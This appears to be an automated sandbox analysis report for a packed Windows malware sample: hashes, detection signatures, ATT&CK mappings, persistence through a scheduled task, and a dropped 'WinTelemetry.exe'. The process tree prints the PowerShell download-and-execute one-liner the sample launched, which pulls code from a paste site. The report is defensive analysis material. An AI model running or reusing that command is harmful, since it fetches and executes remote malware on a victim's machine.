fd04f0366d78e4abb5d7c7c0d2a5bbb33a238bb7d3de4adcf9f2ad1e92eb235a

Analysis

max time kernel
149s
max time network
153s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
02/05/2026, 15:21

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General

Target
file.exe
Size 2.4MB
Sample260502-srns4sft2r
SHA256 fd04f0366d78e4abb5d7c7c0d2a5bbb33a238bb7d3de4adcf9f2ad1e92eb235a
MD5 10b36a603c98760836702d731c7aa5db
SHA1 f09f90d048b68f6a68b71e02a38ea7e9b326bcda
SHA512 96ff6c123d34db9fe1127795d1d6b0ca0284baa8b78a03850bd5e155d53df1d492fdb838ec141cd287424ef90452a43c1c0d0feeb4fcc6dd75e33d8aaa42b43c
SSDEEP 24576:43kTSjEtX0PJL+qkYr0haZKsJM/AnO9qHmkz+hzl4T+NLOinLS9A5/Kg6Q:XOItkGtqcANHmkz+hR4T+N6isq
TLSH
T168C5E60D005487DCC97D823654CF269EA110332C62781FBEB2665EB18F79BD47EE5A8B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

persistence themida upx

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
12	5488	powershell.exe
13	5488	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1548	WinTelemetry.exe

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x001d00000002b433-3.dat	themida

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x001d00000002b433-3.dat	upx

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	file.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5488	powershell.exe
5488	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5488	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 2672 wrote to memory of 5488	2672	file.exe	81

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:2672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe irm https://pastefy.app/8z0Dhx97/raw | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5488

C:\Users\Admin\AppData\Roaming\WinTelemetry\WinTelemetry.exe
C:\Users\Admin\AppData\Roaming\WinTelemetry\WinTelemetry.exe
1⤵
- Executes dropped EXE
PID:1548

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_d2lxjdx1.vcu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d2lxjdx1.vcu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

WinTelemetry.exe

Path C:\Users\Admin\AppData\Roaming\WinTelemetry\WinTelemetry.exe
Size 2.4MB
SHA256 fd04f0366d78e4abb5d7c7c0d2a5bbb33a238bb7d3de4adcf9f2ad1e92eb235a
MD5 10b36a603c98760836702d731c7aa5db
SHA1 f09f90d048b68f6a68b71e02a38ea7e9b326bcda
SHA512 96ff6c123d34db9fe1127795d1d6b0ca0284baa8b78a03850bd5e155d53df1d492fdb838ec141cd287424ef90452a43c1c0d0feeb4fcc6dd75e33d8aaa42b43c
SSDEEP 24576:43kTSjEtX0PJL+qkYr0haZKsJM/AnO9qHmkz+hzl4T+NLOinLS9A5/Kg6Q:XOItkGtqcANHmkz+hR4T+N6isq
TLSH
T168C5E60D005487DCC97D823654CF269EA110332C62781FBEB2665EB18F79BD47EE5A8B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2672-0-0x0000027DEB4C0000-0x0000027DEB4C1000-memory.dmp

Download

memory/5488-10-0x0000026146A00000-0x0000026146A22000-memory.dmp

Download

memory/5488-12-0x0000026146790000-0x000002614679C000-memory.dmp

Download

memory/5488-13-0x00000261469D0000-0x00000261469E2000-memory.dmp

Download

memory/5488-23-0x0000026146790000-0x000002614679C000-memory.dmp

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